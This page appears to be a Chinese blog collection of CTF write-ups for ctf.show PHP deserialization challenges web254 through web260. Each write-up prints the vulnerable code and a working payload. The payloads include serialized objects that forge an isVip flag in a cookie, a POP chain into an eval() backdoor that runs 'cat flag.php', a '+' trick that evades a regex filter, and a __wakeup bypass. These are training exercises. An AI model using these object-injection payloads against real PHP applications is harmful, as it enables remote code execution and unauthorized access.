if (isset($_REQUEST['x'])) {
    @unserialize($_REQUEST['x']);
} else {
    highlight_file(__FILE__);
}
?>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23

__construct():在类被实例化时调用

__wakeup():在类被反序列化之前调用

__destruct():在对象销毁后执行,highlight_file)()函数,提示flag在fllllllag.php里面,这里可以作为读取flag的入口

这里调用顺序是: construct()-->wakeup()-->反序列化操作-->destruct()

首先需要给 x 变量修改值为 fllllllag.php,然后construct方法执行后会实例化对象,但是后面又执行了wakeup,x 又被重新改为:FILE,那么执行到destruct的时候就不会出现fllllllag.php的内容,所以需要绕过 wakeup 函数

绕过:序列化后更改序列对象的数量进行绕过

payload:

无法正常执行,需要转换php版本为 5.6.9

<?php
class X{
    public $x = "fllllllag.php";
}
$a = new X();
echo serialize($a);
echo urlencode(serialize($a));
?>
1
2
3
4
5
6
7
8
O:1:"X":1:{s:1:"x";s:13:"fllllllag.php";}
O:1:"X":5:{s:1:"x";s:13:"fllllllag.php";}
1
2

image

# 13.题目13

https://ctf.show/challenges#

WEB入门-反序列化

# web254.php

<?php
/*
 *-- coding: utf-8 --*
# @Author: hlxa
# @Date: 2020-12-02 17:44:47
# @Last Modified by:  hlxa
# @Last Modified time: 2020-12-02 19:29:02
# @email: hlxa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');

class ctfShowUser{
    public $username='xxxxx';
    public $password='xxxxx';
    public $isVip=false;

    public function checkVip(){
        return $this->isVip;
    }
    public function login($u,$p){
        if($this->username===$u&&$this->password===$p){
            $this->isVip=true;
        }
        return $this->isVip;
    }
    public function vipOneKeyGetFlag(){
        if($this->isVip){
            global $flag;
            echo "your flag is ".$flag;
        }else{
            echo "no vip, no flag";
        }
    }
}
$username=$_GET['username'];
$password=$_GET['password'];
if(isset($username) && isset($password)){
    $user = new ctfShowUser();
    if($user->login($username,$password)){
        if($user->checkVip())
            $user->vipOneKeyGetFlag();
    }else{
        echo "no vip,no flag";
    }
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48

分析:

程序的 vipOneKeyGetFlag() 会返回 flag

只有一个类,get传入两个参数后会实例化类对象,此题没有用到反序列化漏洞,根据题目提示传入相应参数即可

?username=xxxxx&password=xxxxx
1

# 14.题目14

# web255.php

<?php
/*
 *-- coding: utf-8 --*
# @Author: hlxa
# @Date: 2020-12-02 17:44:47
# @Last Modified by:  hlxa
# @Last Modified time: 2020-12-02 19:29:02
# @email: hlxa@ctfer.com
# @link: https://ctfer.com
*/

error_reporting(0);
highlight_file(__FILE__);
include('flag.php');

class ctfShowUser{
    public $username='xxxxx';
    public $password='xxxxx';
    public $isVip=false;

    public function checkVip(){
        return $this->isVip;
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function vipOneKeyGetFlag(){
        if($this->isVip){
            global $flag;
            echo "your flag is ".$flag;
        }else{
            echo "no vip, no flag";
        }
    }
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
    $user = unserialize($_COOKIE['user']);
    if($user->login($username,$password)){
        if($user->checkVip())
            $user->vipOneKeyGetFlag();
    }else{
        echo "no vip,no flag";
    }
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48

分析:此题和上题目代码差不多,unserialize($_COOKIE['user']) 再加一个 user 参数

payload:
<?php
class ctfShowUser{
    public $username="xxxxx";
    public $password="xxxxx";
    public $isVip=true;
}
$c = new ctfShowUser();
echo urlencode(serialize($c));
echo serialize($c);
?>
1
2
3
4
5
6
7
8
9
10
11
O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A5%3A%22xxxxx%22%3Bs%3A8%3A%22password%22%3Bs%3A5%3A%22xxxxx%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D
O:11:"ctfShowUser":3:{s:8:"username";s:5:"xxxxx";s:8:"password";s:5:"xxxxx";s:5:"isVip";b:1;}
1
2
get:?username=xxxxx&password=xxxxx
cookie:user=O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A5%3A%22xxxxx%22%3Bs%3A8%3A%22password%22%3Bs%3A5%3A%22xxxxx%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D
1
2

image

# 15.题目15

# web256.php

<?php
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');

class ctfShowUser{
    public $username='xxxxx';
    public $password='xxxxx';
    public $isVip=false;

    public function checkVip(){
        return $this->isVip;
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function vipOneKeyGetFlag(){
        if($this->isVip){
            global $flag;
            if($this->username!==$this->password) {
                echo "your flag is ".$flag;
            }
        }else{
            echo "no vip, no flag";
        }
    }
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
    $user = unserialize($_COOKIE['user']);
    if($user->login($username,$password)){
        if($user->checkVip())
            $user->vipOneKeyGetFlag();
    }else{
        echo "no vip,no flag";
    }
}
?>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41

此题在前面的基础上添加了 if($this->username!==$this->password) ,要求 username 和 password 不相等。

payload:

<?php
class ctfShowUser{
    public $username="xxxxx";
    public $password="cc";
    public $isVip=true;
}
$c = new ctfShowUser();
echo urlencode(serialize($c));
// echo serialize($c);
?>
1
2
3
4
5
6
7
8
9
10

image

image

# 16.题目16

# web257.php

<?php
error_reporting(0);
highlight_file(__FILE__);

class ctfShowUser{
    private $username='xxxxx';
    private $password='xxxxx';
    private $isVip=false;
    private $class = 'info';

    public function __construct(){
        $this->class=new info();
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function __destruct(){
        $this->class->getInfo();
    }
}

class info{
    private $user='xxxxx';
    public function getInfo(){
        return $this->user;
    }
}

class backDoor{
    private $code;
    public function getInfo(){
        eval($this->code);
    }
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
    $user = unserialize($_COOKIE['user']);
    $user->login($username,$password);
}

?> 
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44

有3个类:ctfShowUser、info、backDoor

其中 backDoor 类中 getInfo() 函数中的 eval() 函数可以作为pop链终点,执行任意命令。

要执行 eval($this->code) ,可以给code赋值为执行任意代码的值。且需要调用 backDoor 的 getInfo() 方法。找到了 ctfShowUser 类的 destruct() 方法可以调用到他。我们就需要让 $this->class 为 backDoor 类的对象就可以了。

<?php
class ctfShowUser{
       public $class;
       public function __construct(){
           $this->class=new backDoor();//改写属性,让其构造危险实例
       }
}
class backDoor{
       public $code='cat flag.php';//改写危险类属性,通过system方法命令执行,这里可以传入一个get请求的参数
}
$c=new ctfShowUser();
echo urlencode(serialize($c));
?>
1
2
3
4
5
6
7
8
9
10
11
12
13

# 17.题目17

# web258.php

<?php
class ctfShowUser{
    public $username='xxxxx';
    public $password='xxxxx';
    public $isVip=false;
    public $class = 'info';

    public function __construct(){
        $this->class=new info();
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function __destruct(){
        $this->class->getInfo();
    }
}

class info{
    public $user='xxxxx';
    public function getInfo(){
        return $this->user;
    }
}

class backDoor{
    public $code;
    public function getInfo(){
        eval($this->code);
    }
}

$username=$_GET['username'];
$password=$_GET['password'];

if(isset($username) && isset($password)){
    if(!preg_match('/[oc]:\d+:/i', $_COOKIE['user'])) {
        $user = unserialize($_COOKIE['user']);
    }
    $user->login($username,$password);
}
?>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
preg_match('/[oc]:\d+:/i', $_COOKIE['user'])
表示user不能有 o:数字:或者c:数字:,并且不论o或c是大小写都匹配
如果O:或C:后面不跟数字的话就可以把这个绕过去了
可以用+号,具体原因是跟PHP底层代码有关,+号判断也是可以正常的反序列化的
1
2
3
4
<?php
class ctfShowUser{
    public $class;
    public function __construct(){
        $this->class=new backDoor();//改写属性,让其构造危险实例
    }
}
class backDoor{
    public $code='phpinfo();';//改写危险类属性,通过system方法命令执行,这里可以传入一个get请求的参数
}
$c=new ctfShowUser();
echo urlencode(serialize($c));
?>
1
2
3
4
5
6
7
8
9
10
11
12
13

序列化后得到

O:11:"ctfShowUser":1:{s:5:"class";O:8:"backDoor":1:{s:4:"code";s:10:"phpinfo();";}}
1

这里把O:后面加上一个加号

O:+11:"ctfShowUser":1:{s:5:"class";O:+8:"backDoor":1:{s:4:"code";s:10:"phpinfo();";}}
之后再url编码再使用
1
2
O:+11:"ctfShowUser":1:{s:5:"class";O:+8:"backDoor":1:{s:4:"code";s:8:"tac flag";}}
1

image

# 18.题目18

# web260.php

<?php
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');

if(preg_match('/ctfshow_i_love_36D/',serialize($_GET['ctfshow']))) {
    echo $flag;
}
1
2
3
4
5
6
7
8

preg_match(): 表示序列化后的字符串满足 ctfshow_i_love_36D ,会返回 $flag 的值。

image

字符串逃逸:

https://www.cnblogs.com/M0urn/articles/17761214.html (opens new window)

https://www.bilibili.com/video/BV1Ry4y1e7x9/?spm_id_from=333.337.search-card.all.click&vd_source=62573cb67de72cd02730a59836e6f252 (opens new window)

参考链接:

https://blog.csdn.net/m0_74013288/article/details/134360039 (opens new window)

编辑 (opens new window)
上次更新: 2025/06/08, 09:36:22
PHP正则表达式
BugKu-web

← PHP正则表达式 BugKu-web→

最近更新
01
test文件
11-07
02
CSS给table的tbody添加滚动条
11-07
03
网格布局中的动画
11-07
更多文章>
Theme by Vdoing | Copyright © 2019-2025 Ngkcvs3 | 89374048309748324003097832
  • 跟随系统
  • 浅色模式
  • 深色模式
  • 阅读模式
欢迎来到
看板娘